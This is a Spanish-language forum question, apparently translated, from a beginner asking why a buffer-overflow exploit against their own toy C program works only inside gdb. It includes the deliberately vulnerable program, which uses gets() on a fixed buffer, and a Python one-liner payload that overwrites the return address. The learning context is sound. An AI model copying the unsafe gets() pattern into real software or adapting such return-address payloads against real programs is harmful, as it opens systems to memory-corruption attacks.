tl; dr: por qué mi exploit solo funciona dentro de gdb.
Soy muy nuevo en los campos de desarrollo de desbordamiento y explotación de búfer. Para mejorar mis habilidades basadas en una serie de documentos y videos, escribí este sencillo software en C:
Nota: deshabilité ASLR
Creo que mi pregunta es diferente a esta: El exploit de desbordamiento de búfer funciona con gdb pero no sin porque el autor parece tener ASRL habilitado.
#include <stdio.h>
#include <string.h>
void granted()
{
printf ("\nAccess granted\n");
return;
}
int main()
{
char password[104];
printf ("Enter your password: ");
gets(password);
if (strcmp(password,"p@$$w0rd"))
{
printf("\nFailed!!");
}
else
{
granted();
}
}
Por lo que sé, hay un pequeño error: es posible ingresar mucho más de 103 caracteres.
Mis primeros objetivos de explotación fueron redirigir el flujo de ejecución a la función otorgada.
Para generar el exploit, usé el siguiente comando python -c 'print "A"*100+"\x9b\x84\x04\x08"+"BBBB"' > payload-access-granted
me@computer:~$ gdb bof3.bin
(gdb) r < payload-access-granted
Starting program: /home/me/bof3.bin < payload-access-granted
Enter your password:
Failed!!
Access granted
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
Como puede ver, la carga útil hizo lo que se esperaba: saltó a la función otorgada. La explotación está funcionando ... pero
Fuera de gdb:
me@computer:~$ ./bof3.bin < payload-access-granted
Enter your password:
Segmentation fault (core dumped)
Entonces, ¿por qué ocurre esto? ¿Qué no hice correctamente?